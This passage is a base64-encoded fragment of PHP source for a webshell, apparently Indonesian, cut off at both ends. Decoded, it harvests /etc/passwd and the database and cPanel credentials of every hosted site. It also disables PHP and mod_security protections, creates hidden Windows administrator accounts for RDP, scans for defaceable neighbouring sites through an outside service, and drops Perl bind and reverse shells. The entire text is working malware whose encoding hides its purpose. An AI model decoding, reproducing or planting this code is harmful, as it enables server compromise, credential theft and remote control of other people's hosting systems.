am9nTGk5Y2JseHVJanM9IjsNCgkJJGZpbGUgPSAiaWR4X2NvbmZpZy92aG9zdC5jaW4iOw0KCQkkaGFuZGxlID0gZm9wZW4oJGZpbGUgLCJ3KyIpOw0KCQlmd3JpdGUoJGhhbmRsZSAsYmFzZTY0X2RlY29kZSgkdmhvc3QpKTsNCgkJZmNsb3NlKCRoYW5kbGUpOw0KCQljaG1vZCgkZmlsZSwgMDc1NSk7DQoJCWlmKGV4ZSgiY2QgaWR4X2NvbmZpZyAmJiAuL3Zob3N0LmNpbiIpKSB7DQoJCQllY2hvICI8Y2VudGVyPjxhIGhyZWY9JyRsaW5rX2NvbmZpZy9pZHhfY29uZmlnJz48Zm9udCBjb2xvcj1saW1lPkRvbmU8L2ZvbnQ+PC9hPjwvY2VudGVyPiI7DQoJCX0gZWxzZSB7DQoJCQllY2hvICI8Y2VudGVyPjxhIGhyZWY9JyRsaW5rX2NvbmZpZy9pZHhfY29uZmlnL3Zob3N0LmNpbic+PGZvbnQgY29sb3I9bGltZT5Eb25lPC9mb250PjwvYT48L2NlbnRlcj4iOw0KCQl9DQoJfSBlbHNlIHsNCgkJJGV0YyA9IGZvcGVuKCIvZXRjL3Bhc3N3ZCIsICJyIikgb3IgZGllKCI8cHJlPjxmb250IGNvbG9yPXJlZD5DYW4ndCByZWFkIC9ldGMvcGFzc3dkPC9mb250PjwvcHJlPiIpOw0KCQl3aGlsZSgkcGFzc3dkID0gZmdldHMoJGV0YykpIHsNCgkJCWlmKCRwYXNzd2QgPT0gIiIgfHwgISRldGMpIHsNCgkJCQllY2hvICI8Zm9udCBjb2xvcj1yZWQ+Q2FuJ3QgcmVhZCAvZXRjL3Bhc3N3ZDwvZm9udD4iOw0KCQkJfSBlbHNlIHsNCgkJCQlwcmVnX21hdGNoX2FsbCgnLyguKj8pOng6LycsICRwYXNzd2QsICR1c2VyX2NvbmZpZyk7DQoJCQkJZm9yZWFjaCgkdXNlcl9jb25maWdbMV0gYXMgJHVzZXJfaWR4KSB7DQoJCQkJCSR1c2VyX2NvbmZpZ19kaXIgPSAiL2hvbWUvJHVzZXJfaWR4L3B1YmxpY19odG1sLyI7DQoJCQkJCWlmKGlzX3JlYWRhYmxlKCR1c2VyX2NvbmZpZ19kaXIpKSB7DQoJCQkJCQkkZ3JhYl9jb25maWcgPSBhcnJheSgNCgkJCQkJCQkiL2hvbWUvJHVzZXJfaWR4Ly5teS5jbmYiID0+ICJjcGFuZWwiLA0KCQkJCQkJCSIvaG9tZS8kdXNlcl9pZHgvLmFjY2Vzc2hhc2giID0+ICJXSE0tYWNjZXNzaGFzaCIsDQoJCQkJCQkJIiR1c2VyX2NvbmZpZ19kaXIvcG8tY29udGVudC9jb25maWcucGhwIiA9PiAiUG9wb2ppIiwNCgkJCQkJCQkiJHVzZXJfY29uZmlnX2Rpci92ZG9fY29uZmlnLnBocCIgPT4gIlZvb2RvbyIsDQoJCQkJCQkJIiR1c2VyX2NvbmZpZ19kaXIvYnctY29uZmlncy9jb25maWcuaW5pIiA9PiAiQm9zV2ViIiwNCgkJCQkJCQkiJHVzZXJfY29uZmlnX2Rpci9jb25maWcva29uZWtzaS5waHAiID0+ICJMb2tvbWVkaWEiLA0KCQkJCQkJCSIkdXNlcl9jb25maWdfZGlyL2xva29tZWRpYS9jb25maWcva29uZWtzaS5waHAiID0+ICJMb2tvbWVkaWEiLA0KCQkJCQkJCSIkdXNlcl9jb25maWdfZGlyL2NsaWVudGFyZWEvY29uZmlndXJhdGlvbi5waHAiID0+ICJXSE1DUyIsDQoJCQkJCQkJIiR1c2VyX2NvbmZpZ19kaXIvd2htL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLA0KCQkJCQkJCSIkdXNlcl9jb25maWdfZGlyL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLA0KCQkJCQkJCSIkdXNlcl9jb25maWdfZGlyL2ZvcnVtL2NvbmZpZy5waHAiID0+ICJwaHBCQiIsDQoJCQkJCQkJIiR1c2VyX2NvbmZpZ19kaXIvc2l0ZXMvZGVmYXVsdC9zZXR0aW5ncy5waHAiID0+ICJEcnVwYWwiLA0KCQkJCQkJCSIkdXNlcl9jb25maWdfZGlyL2NvbmZpZy9zZXR0aW5ncy5pbmMucGhwIiA9PiAiUHJlc3RhU2hvcCIsDQoJCQkJCQkJIiR1c2VyX2NvbmZpZ19kaXIvYXBwL2V0Yy9sb2NhbC54bWwiID0+ICJNYWdlbnRvIiwNCgkJCQkJCQkiJHVzZXJfY29uZmlnX2Rpci9qb29tbGEvY29uZmlndXJhdGlvbi5waHAiID0+ICJKb29tbGEiLA0KCQkJCQkJCSIkdXNlcl9jb25maWdfZGlyL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhIiwNCgkJCQkJCQkiJHVzZXJfY29uZmlnX2Rpci93cC93cC1jb25maWcucGhwIiA9PiAiV29yZFByZXNzIiwNCgkJCQkJCQkiJHVzZXJfY29uZmlnX2Rpci93b3JkcHJlc3Mvd3AtY29uZmlnLnBocCIgPT4gIldvcmRQcmVzcyIsDQoJCQkJCQkJIiR1c2VyX2NvbmZpZ19kaXIvd3AtY29uZmlnLnBocCIgPT4gIldvcmRQcmVzcyIsDQoJCQkJCQkJIiR1c2VyX2NvbmZpZ19kaXIvYWRtaW4vY29uZmlnLnBocCIgPT4gIk9wZW5DYXJ0IiwNCgkJCQkJCQkiJHVzZXJfY29uZmlnX2Rpci9zbGNvbmZpZy5waHAiID0+ICJTaXRlbG9rIiwNCgkJCQkJCQkiJHVzZXJfY29uZmlnX2Rpci9hcHBsaWNhdGlvbi9jb25maWcvZGF0YWJhc2UucGhwIiA9PiAiRWxsaXNsYWIiKTsNCgkJCQkJCWZvcmVhY2goJGdyYWJfY29uZmlnIGFzICRjb25maWcgPT4gJG5hbWFfY29uZmlnKSB7DQoJCQkJCQkJJGFtYmlsX2NvbmZpZyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRjb25maWcpOw0KCQkJCQkJCWlmKCRhbWJpbF9jb25maWcgPT0gJycpIHsNCgkJCQkJCQl9IGVsc2Ugew0KCQkJCQkJCQkkZmlsZV9jb25maWcgPSBmb3Blbigidm90cl9jb25maWcvJHVzZXJfaWR4LSRuYW1hX2NvbmZpZy50eHQiLCJ3Iik7DQoJCQkJCQkJCWZwdXRzKCRmaWxlX2NvbmZpZywkYW1iaWxfY29uZmlnKTsNCgkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJCX0JCQ0KCQkJCX0NCgkJCX0JDQoJCX0NCgllY2hvICI8Y2VudGVyPjxhIGhyZWY9Jz9kaXI9JGRpci92b3RyX2NvbmZpZyc+PGZvbnQgY29sb3I9bGltZT5Eb25lPC9mb250PjwvYT48L2NlbnRlcj4iOw0KCX0NCn0NCi8vRktST09UDQplbHNlaWYoJF9HRVRbJ3ZvdHInXSA9PSAnZmFrZV9yb290Jykgew0KCW9iX3N0YXJ0KCk7DQoJZnVuY3Rpb24gcmV2ZXJzZSgkdXJsKSB7DQoJCSRjaCA9IGN1cmxfaW5pdCgiaHR0cDovL2RvbWFpbnMueW91Z2V0c2lnbmFsLmNvbS9kb21haW5zLnBocCIpOw0KCQkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEgKTsNCgkJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICAicmVtb3RlQWRkcmVzcz0kdXJsJmtldD0iKTsNCgkJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQoJCQkgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCAxKTsNCgkJJHJlc3AgPSBjdXJsX2V4ZWMoJGNoKTsNCgkJJHJlc3AgPSBzdHJfcmVwbGFjZSgiWyIsIiIsIHN0cl9yZXBsYWNlKCJdIiwiIiwgc3RyX3JlcGxhY2UoIlwiXCIiLCIiLCBzdHJfcmVwbGFjZSgiLCAsIiwiLCIsIHN0cl9yZXBsYWNlKCJ7IiwiIiwgc3RyX3JlcGxhY2UoInsiLCIiLCBzdHJfcmVwbGFjZSgifSIsIiIsIHN0cl9yZXBsYWNlKCIsICIsIiwiLCBzdHJfcmVwbGFjZSgiLCAiLCIsIiwgIHN0cl9yZXBsYWNlKCInIiwiIiwgc3RyX3JlcGxhY2UoIiciLCIiLCBzdHJfcmVwbGFjZSgiOiIsIiwiLCBzdHJfcmVwbGFjZSgnIicsJycsICRyZXNwICkgKSApICkgKSApICkgKSApICkpKSk7DQoJCSRhcnJheSA9IGV4cGxvZGUoIiwsIiwgJHJlc3ApOw0KCQl1bnNldCgkYXJyYXlbMF0pOw0KCQlmb3JlYWNoKCRhcnJheSBhcyAkbG5rKSB7DQoJCQkkbG5rID0gImh0dHA6Ly8kbG5rIjsNCgkJCSRsbmsgPSBzdHJfcmVwbGFjZSgiLCIsICIiLCAkbG5rKTsNCgkJCWVjaG8gJGxuay4iXG4iOw0KCQkJb2JfZmx1c2goKTsNCgkJCWZsdXNoKCk7DQoJCX0NCgkJCSAgY3VybF9jbG9zZSgkY2gpOw0KCX0NCglmdW5jdGlvbiBjZWsoJHVybCkgew0KCQkkY2ggPSBjdXJsX2luaXQoJHVybCk7DQoJCQkgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSApOw0KCQkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIHRydWUpOw0KCQkkcmVzcCA9IGN1cmxfZXhlYygkY2gpOw0KCQlyZXR1cm4gJHJlc3A7DQoJfQ0KCSRjd2QgPSBnZXRjd2QoKTsNCgkkYW1iaWxfdXNlciA9IGV4cGxvZGUoIi8iLCAkY3dkKTsNCgkkdXNlciA9ICRhbWJpbF91c2VyWzJdOw0KCWlmKCRfUE9TVFsncmV2ZXJzZSddKSB7DQoJCSRzaXRlID0gZXhwbG9kZSgiXHJcbiIsICRfUE9TVFsndXJsJ10pOw0KCQkkZmlsZSA9ICRfUE9TVFsnZmlsZSddOw0KCQlmb3JlYWNoKCRzaXRlIGFzICR1cmwpIHsNCgkJCSRjZWsgPSBjZWsoIiR1cmwvfiR1c2VyLyRmaWxlIik7DQoJCQlpZihwcmVnX21hdGNoKCIvaGFja2VkL2kiLCAkY2VrKSkgew0KCQkJCWVjaG8gIlVSTDogPGEgaHJlZj0nJHVybC9+JHVzZXIvJGZpbGUnIHRhcmdldD0nX2JsYW5rJz4kdXJsL34kdXNlci8kZmlsZTwvYT4gLT4gPGZvbnQgY29sb3I9bGltZT5GYWtlIFJvb3QhPC9mb250Pjxicj4iOw0KCQkJfQ0KCQl9DQoJfSBlbHNlIHsNCgkJZWNobyAiPGNlbnRlcj48Zm9ybSBtZXRob2Q9J3Bvc3QnPg0KCQlGaWxlbmFtZTogPGJyPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdmaWxlJyB2YWx1ZT0nZGVmYWNlLmh0bWwnIHNpemU9JzUwJyBoZWlnaHQ9JzEwJz48YnI+DQoJCVVzZXI6IDxicj48aW5wdXQgdHlwZT0ndGV4dCcgdmFsdWU9JyR1c2VyJyBzaXplPSc1MCcgaGVpZ2h0PScxMCcgcmVhZG9ubHk+PGJyPg0KCQlEb21haW46IDxicj4NCgkJPHRleHRhcmVhIHN0eWxlPSd3aWR0aDogNDUwcHg7IGhlaWdodDogMjUwcHg7JyBuYW1lPSd1cmwnPiI7DQoJCXJldmVyc2UoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKTsNCgkJZWNobyAiPC90ZXh0YXJlYT48YnI+DQoJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3JldmVyc2UnIHZhbHVlPSdTY2FuIEZha2UgUm9vdCEnIHN0eWxlPSd3aWR0aDogNDUwcHg7Jz4NCgkJPC9mb3JtPjxicj4NCgkJTkI6IFNlYmVsdW0gZ3VuYWluIFRvb2xzIGluaSAsIHVwbG9hZCBkdWx1IGZpbGUgZGVmYWNlIGthbGlhbiBkaSBkaXIgL2hvbWUvdXNlci8gZGFuIC9ob21lL3VzZXIvcHVibGljX2h0bWwuPC9jZW50ZXI+IjsNCgl9DQp9IA0KLy9raWxsIG1lDQplbHNlaWYoJF9HRVRbJ3ZvdHInXSA9PSAna2lsbCcpIHsNCglpZihAdW5saW5rKHByZWdfcmVwbGFjZSgnIShkKylzLiohJywgJycsIF9fRklMRV9fKSkpDQoJCQlkaWUoJzxjZW50ZXI+PGJyPjxjZW50ZXI+PGgyPlNoZWxsIHJlbW92ZWQ8L2gyPjxicj5Hb29kYnllICwgVGhhbmtzIGZvciB1c2UgbXkgc2hlbGw8L2NlbnRlcj48L2NlbnRlcj4nKTsNCgkJZWxzZQ0KCQkJZWNobyAnPGNlbnRlcj5HYWdhbCBIYXB1cyBTaGVsbDwvY2VudGVyPic7DQp9DQovL2J5cGFzcyBkaXNhYmxlIGZ1bmN0aW9ucw0KZWxzZWlmKCRfR0VUWyd2b3RyJ10gPT0gJ2J5cGFzcycpew0KCQllY2hvICI8Y2VudGVyPiI7DQoJCWVjaG8gIjxmb3JtIG1ldGhvZD1wb3N0PjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPWluaSB2YWx1ZT0ncGhwLmluaScgLz4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1odGNlIHZhbHVlPScuaHRhY2Nlc3MnIC8+PC9mb3JtPiI7DQoJCWlmKGlzc2V0KCRfUE9TVFsnaW5pJ10pKQ0Kew0KCQkkZmlsZSA9IGZvcGVuKCJwaHAuaW5pIiwidyIpOw0KCQllY2hvIGZ3cml0ZSgkZmlsZSwiZGlzYWJsZV9mdW5jdGlvbnM9bm9uZQ0Kc2FmZV9tb2RlID0gT2ZmDQoJIik7DQoJCWZjbG9zZSgkZmlsZSk7DQoJCWVjaG8gIjxhIGhyZWY9J3BocC5pbmknPmNsaWNrIGhlcmUhPC9hPiI7DQp9CQlpZihpc3NldCgkX1BPU1RbJ2h0Y2UnXSkpDQp7DQoJCSRmaWxlID0gZm9wZW4oIi5odGFjY2VzcyIsInciKTsNCgkJZWNobyBmd3JpdGUoJGZpbGUsIjxJZk1vZHVsZSBtb2Rfc2VjdXJpdHkuYz4NClNlY0ZpbHRlckVuZ2luZSBPZmYNClNlY0ZpbHRlclNjYW5QT1NUIE9mZg0KPC9JZk1vZHVsZT4NCgkiKTsNCgkJZmNsb3NlKCRmaWxlKTsNCgkJZWNobyAiaHRhY2Nlc3Mgc3VjY2Vzc2Z1bGx5IGNyZWF0ZWQhIjsNCn0NCgkJZWNobyI8L2NlbnRlcj4iOw0KfSANCi8vUkRQDQplbHNlaWYoJF9HRVRbJ3ZvdHInXSA9PSAncmRwJykgew0KCWlmKHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywgMCwgMykpID09PSAnd2luJykgew0KCQlpZigkX1BPU1RbJ2NyZWF0ZSddKSB7DQoJCQkkdXNlciA9IGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWyd1c2VyJ10pOw0KCQkJJHBhc3MgPSBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncGFzcyddKTsNCgkJCWlmKHByZWdfbWF0Y2goIi8kdXNlci8iLCBleGUoIm5ldCB1c2VyIikpKSB7DQoJCQkJZWNobyAiW0lORk9dIC0+IDxmb250IGNvbG9yPXJlZD51c2VyIDxmb250IGNvbG9yPWxpbWU+JHVzZXI8L2ZvbnQ+IHN1ZGFoIGFkYTwvZm9udD4iOw0KCQkJfSBlbHNlIHsNCgkJCQkkYWRkX3VzZXIgICA9IGV4ZSgibmV0IHVzZXIgJHVzZXIgJHBhc3MgL2FkZCIpOw0KICAgIAkJCSRhZGRfZ3JvdXBzMSA9IGV4ZSgibmV0IGxvY2FsZ3JvdXAgQWRtaW5pc3RyYXRvcnMgJHVzZXIgL2FkZCIpOw0KICAgIAkJCSRhZGRfZ3JvdXBzMiA9IGV4ZSgibmV0IGxvY2FsZ3JvdXAgQWRtaW5pc3RyYXRvciAkdXNlciAvYWRkIik7DQogICAgCQkJJGFkZF9ncm91cHMzID0gZXhlKCJuZXQgbG9jYWxncm91cCBBZG1pbmlzdHJhdGV1ciAkdXNlciAvYWRkIik7DQogICAgCQkJZWNobyAiWyBSRFAgQUNDT1VOVCBJTkZPIF08YnI+DQogICAgCQkJLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tPGJyPg0KICAgIAkJCUlQOiA8Zm9udCBjb2xvcj1saW1lPiIuJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ10uIjwvZm9udD48YnI+DQogICAgCQkJVXNlcm5hbWU6IDxmb250IGNvbG9yPWxpbWU+JHVzZXI8L2ZvbnQ+PGJyPg0KICAgIAkJCVBhc3N3b3JkOiA8Zm9udCBjb2xvcj1saW1lPiRwYXNzPC9mb250Pjxicj4NCiAgICAJCQktLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS08YnI+PGJyPg0KICAgIAkJCVsgU1RBVFVTIF08YnI+DQogICAgCQkJLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tPGJyPg0KICAgIAkJCSI7DQogICAgCQkJaWYoJGFkZF91c2VyKSB7DQogICAgCQkJCWVjaG8gIlthZGQgdXNlcl0gLT4gPGZvbnQgY29sb3I9J2xpbWUnPkJlcmhhc2lsPC9mb250Pjxicj4iOw0KICAgIAkJCX0gZWxzZSB7DQogICAgCQkJCWVjaG8gIlthZGQgdXNlcl0gLT4gPGZvbnQgY29sb3I9J3JlZCc+R2FnYWw8L2ZvbnQ+PGJyPiI7DQogICAgCQkJfQ0KICAgIAkJCWlmKCRhZGRfZ3JvdXBzMSkgew0KICAgICAgICAJCQllY2hvICJbYWRkIGxvY2FsZ3JvdXAgQWRtaW5pc3RyYXRvcnNdIC0+IDxmb250IGNvbG9yPSdsaW1lJz5CZXJoYXNpbDwvZm9udD48YnI+IjsNCiAgICAJCQl9IGVsc2VpZigkYWRkX2dyb3VwczIpIHsNCiAgICAgICAgCQkgICAgZWNobyAiW2FkZCBsb2NhbGdyb3VwIEFkbWluaXN0cmF0b3JdIC0+IDxmb250IGNvbG9yPSdsaW1lJz5CZXJoYXNpbDwvZm9udD48YnI+IjsNCiAgICAJCQl9IGVsc2VpZigkYWRkX2dyb3VwczMpIHsgDQogICAgICAgIAkJICAgIGVjaG8gIlthZGQgbG9jYWxncm91cCBBZG1pbmlzdHJhdGV1cl0gLT4gPGZvbnQgY29sb3I9J2xpbWUnPkJlcmhhc2lsPC9mb250Pjxicj4iOw0KICAgIAkJCX0gZWxzZSB7DQogICAgCQkJCWVjaG8gIlthZGQgbG9jYWxncm91cF0gLT4gPGZvbnQgY29sb3I9J3JlZCc+R2FnYWw8L2ZvbnQ+PGJyPiI7DQogICAgCQkJfQ0KICAgIAkJCWVjaG8gIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTxicj4iOw0KCQkJfQ0KCQl9IGVsc2VpZigkX1BPU1RbJ3Nfb3BzaSddKSB7DQoJCQkkdXNlciA9IGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydyX3VzZXInXSk7DQoJCQlpZigkX1BPU1RbJ29wc2knXSA9PSAnMScpIHsNCgkJCQkkY2VrID0gZXhlKCJuZXQgdXNlciAkdXNlciIpOw0KCQkJCWVjaG8gIkNoZWNraW5nIHVzZXJuYW1lIDxmb250IGNvbG9yPWxpbWU+JHVzZXI8L2ZvbnQ+IC4uLi4uLi4gIjsNCgkJCQlpZihwcmVnX21hdGNoKCIvJHVzZXIvIiwgJGNlaykpIHsNCgkJCQkJZWNobyAiWyA8Zm9udCBjb2xvcj1saW1lPlN1ZGFoIGFkYTwvZm9udD4gXTxicj4NCgkJCQkJLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tPGJyPjxicj4NCgkJCQkJPHByZT4kY2VrPC9wcmU+IjsNCgkJCQl9IGVsc2Ugew0KCQkJCQllY2hvICJbIDxmb250IGNvbG9yPXJlZD5iZWx1bSBhZGE8L2ZvbnQ+IF0iOw0KCQkJCX0NCgkJCX0gZWxzZWlmKCRfUE9TVFsnb3BzaSddID09ICcyJykgew0KCQkJCSRjZWsgPSBleGUoIm5ldCB1c2VyICR1c2VyIHZvdHIiKTsNCgkJCQlpZihwcmVnX21hdGNoKCIvJHVzZXIvIiwgZXhlKCJuZXQgdXNlciIpKSkgew0KCQkJCQllY2hvICJbY2hhbmdlIHBhc3N3b3JkOiA8Zm9udCBjb2xvcj1saW1lPnZvdHI8L2ZvbnQ+XSAtPiAiOw0KCQkJCQlpZigkY2VrKSB7DQoJCQkJCQllY2hvICI8Zm9udCBjb2xvcj1saW1lPkJlcmhhc2lsPC9mb250PiI7DQoJCQkJCX0gZWxzZSB7DQoJCQkJCQllY2hvICI8Zm9udCBjb2xvcj1yZWQ+R2FnYWw8L2ZvbnQ+IjsNCgkJCQkJfQ0KCQkJCX0gZWxzZSB7DQoJCQkJCWVjaG8gIltJTkZPXSAtPiA8Zm9udCBjb2xvcj1yZWQ+dXNlciA8Zm9udCBjb2xvcj1saW1lPiR1c2VyPC9mb250PiBiZWx1bSBhZGE8L2ZvbnQ+IjsNCgkJCQl9DQoJCQl9IGVsc2VpZigkX1BPU1RbJ29wc2knXSA9PSAnMycpIHsNCgkJCQkkY2VrID0gZXhlKCJuZXQgdXNlciAkdXNlciAvREVMRVRFIik7DQoJCQkJaWYocHJlZ19tYXRjaCgiLyR1c2VyLyIsIGV4ZSgibmV0IHVzZXIiKSkpIHsNCgkJCQkJZWNobyAiW3JlbW92ZSB1c2VyOiA8Zm9udCBjb2xvcj1saW1lPiR1c2VyPC9mb250Pl0gLT4gIjsNCgkJCQkJaWYoJGNlaykgew0KCQkJCQkJZWNobyAiPGZvbnQgY29sb3I9bGltZT5CZXJoYXNpbDwvZm9udD4iOw0KCQkJCQl9IGVsc2Ugew0KCQkJCQkJZWNobyAiPGZvbnQgY29sb3I9cmVkPkdhZ2FsPC9mb250PiI7DQoJCQkJCX0NCgkJCQl9IGVsc2Ugew0KCQkJCQllY2hvICJbSU5GT10gLT4gPGZvbnQgY29sb3I9cmVkPnVzZXIgPGZvbnQgY29sb3I9bGltZT4kdXNlcjwvZm9udD4gYmVsdW0gYWRhPC9mb250PiI7DQoJCQkJfQ0KCQkJfSBlbHNlIHsNCgkJCQkvLw0KCQkJfQ0KCQl9IGVsc2Ugew0KCQkJZWNobyAiLS0gQ3JlYXRlIFJEUCAtLTxicj4NCgkJCTxmb3JtIG1ldGhvZD0ncG9zdCc+DQoJCQk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ndXNlcicgcGxhY2Vob2xkZXI9J3VzZXJuYW1lJyB2YWx1ZT0ndm90cicgcmVxdWlyZWQ+DQoJCQk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncGFzcycgcGxhY2Vob2xkZXI9J3Bhc3N3b3JkJyB2YWx1ZT0ndm90cnJkcCcgcmVxdWlyZWQ+DQoJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdjcmVhdGUnIHZhbHVlPSc+Pic+DQoJCQk8L2Zvcm0+DQoJCQktLSBPcHRpb24gLS08YnI+DQoJCQk8Zm9ybSBtZXRob2Q9J3Bvc3QnPg0KCQkJPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3JfdXNlcicgcGxhY2Vob2xkZXI9J3VzZXJuYW1lJyByZXF1aXJlZD4NCgkJCTxzZWxlY3QgbmFtZT0nb3BzaSc+DQoJCQk8b3B0aW9uIHZhbHVlPScxJz5DZWsgVXNlcm5hbWU8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9JzInPlViYWggUGFzc3dvcmQ8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9JzMnPkhhcHVzIFVzZXJuYW1lPC9vcHRpb24+DQoJCQk8L3NlbGVjdD4NCgkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3Nfb3BzaScgdmFsdWU9Jz4+Jz4NCgkJCTwvZm9ybT4NCgkJCSI7DQoJCX0NCgl9IGVsc2Ugew0KCQllY2hvICI8Zm9udCBjb2xvcj1yZWQ+Rml0dXIgaW5pIGhhbnlhIGRhcGF0IGRpZ3VuYWthbiBkYWxhbSBXaW5kb3dzIFNlcnZlci48L2ZvbnQ+IjsNCgl9DQp9DQovL2JhY2tjb25uZWN0DQplbHNlaWYoJF9HRVRbJ3ZvdHInXSA9PSAnYmFja2Nvbm5lY3QnKSB7DQoJZWNobyAiPGNlbnRlcj48Zm9ybSBtZXRob2Q9J3Bvc3QnPg0KCTx1PkJpbmQgUG9ydDo8L3U+IDxicj4NCglQT1JUOiA8aW5wdXQgdHlwZT0ndGV4dCcgcGxhY2Vob2xkZXI9J3BvcnQnIG5hbWU9J3BvcnRfYmluZCcgdmFsdWU9JzY5NjknPg0KCTxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3N1Yl9icCcgdmFsdWU9Jz4+Jz4NCgk8L2Zvcm0+DQoJPGZvcm0gbWV0aG9kPSdwb3N0Jz4NCgk8dT5CYWNrIENvbm5lY3Q6PC91PiA8YnI+DQoJU2VydmVyOiA8aW5wdXQgdHlwZT0ndGV4dCcgcGxhY2Vob2xkZXI9J2lwJyBuYW1lPSdpcF9iYycgdmFsdWU9JyIuJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10uIic+Jm5ic3A7Jm5ic3A7DQoJUE9SVDogPGlucHV0IHR5cGU9J3RleHQnIHBsYWNlaG9sZGVyPSdwb3J0JyBuYW1lPSdwb3J0X2JjJyB2YWx1ZT0nNjk2OSc+DQoJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3ViX2JjJyB2YWx1ZT0nPj4nPg0KCTwvZm9ybT48L2NlbnRlcj4iOw0KCSRiaW5kX3BvcnRfcD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUW9rVTBoRlRFdzlJaTlpYVc0dmMyZ2dMV2tpT3cwS2FXWWdLRUJCVWtkV0lEd2dNU2tnZXlCbGVHbDBLREVwT3lCOURRcDFjMlVnVTI5amEyVjBPdzBLYzI5amEyVjBLRk1zSmxCR1gwbE9SVlFzSmxOUFEwdGZVMVJTUlVGTkxHZGxkSEJ5YjNSdllubHVZVzFsS0NkMFkzQW5LU2tnZkh3Z1pHbGxJQ0pEWVc1MElHTnlaV0YwWlNCemIyTnJaWFJjYmlJN0RRcHpaWFJ6YjJOcmIzQjBLRk1zVTA5TVgxTlBRMHRGVkN4VFQxOVNSVlZUUlVGRVJGSXNNU2s3RFFwaWFXNWtLRk1zYzI5amEyRmtaSEpmYVc0b0pFRlNSMVpiTUYwc1NVNUJSRVJTWDBGT1dTa3BJSHg4SUdScFpTQWlRMkZ1ZENCdmNHVnVJSEJ2Y25SY2JpSTdEUXBzYVhOMFpXNG9VeXd6S1NCOGZDQmthV1VnSWtOaGJuUWdiR2x6ZEdWdUlIQnZjblJjYmlJN0RRcDNhR2xzWlNneEtTQjdEUW9KWVdOalpYQjBLRU5QVGs0c1V5azdEUW9KYVdZb0lTZ2tjR2xrUFdadmNtc3BLU0I3RFFvSkNXUnBaU0FpUTJGdWJtOTBJR1p2Y21zaUlHbG1JQ2doWkdWbWFXNWxaQ0FrY0dsa0tUc05DZ2tKYjNCbGJpQlRWRVJKVGl3aVBDWkRUMDVPSWpzTkNna0piM0JsYmlCVFZFUlBWVlFzSWo0bVEwOU9UaUk3RFFvSkNXOXdaVzRnVTFSRVJWSlNMQ0krSmtOUFRrNGlPdzBLQ1FsbGVHVmpJQ1JUU0VWTVRDQjhmQ0JrYVdVZ2NISnBiblFnUTA5T1RpQWlRMkZ1ZENCbGVHVmpkWFJsSUNSVFNFVk1URnh1SWpzTkNna0pZMnh2YzJVZ1EwOU9UanNOQ2drSlpYaHBkQ0F3T3cwS0NYME5DbjA9IjsNCglpZihpc3NldCgkX1BPU1RbJ3N1Yl9icCddKSkgew0KCQkkZl9icCA9IGZvcGVuKCIvdG1wL2JwLnBsIiwgInciKTsNCgkJZndyaXRlKCRmX2JwLCBiYXNlNjRfZGVjb2RlKCRiaW5kX3BvcnRfcCkpOw0KCQlmY2xvc2UoJGZfYnApOw0KCQkkcG9ydCA9ICRfUE9TVFsncG9ydF9iaW5kJ107DQoJCSRvdXQgPSBleGUoInBlcmwgL3RtcC9icC5wbCAkcG9ydCAxPi9kZXYvbnVsbCAyPiYxICYiKTsNCgkJc2xlZXAoMSk7DQoJCWVjaG8gIjxwcmU+Ii4kb3V0LiJuIi5leGUoInBzIGF1eCB8IGdyZXAgYnAucGwiKS4iPC9wcmU+IjsNCgkJdW5saW5rKCIvdG1wL2JwLnBsIik7DQoJfQ0KCSRiYWNrX2Nvbm5lY3RfcD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pHbGhaR1J5UFdsdVpYUmZZWFJ2Ymlna1FWSkhWbHN3WFNrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NSQlVrZFdXekZkTENBa2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUc05DaVJ3Y205MGJ6MW5aWFJ3Y205MGIySjVibUZ0WlNnbmRHTndKeWs3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5S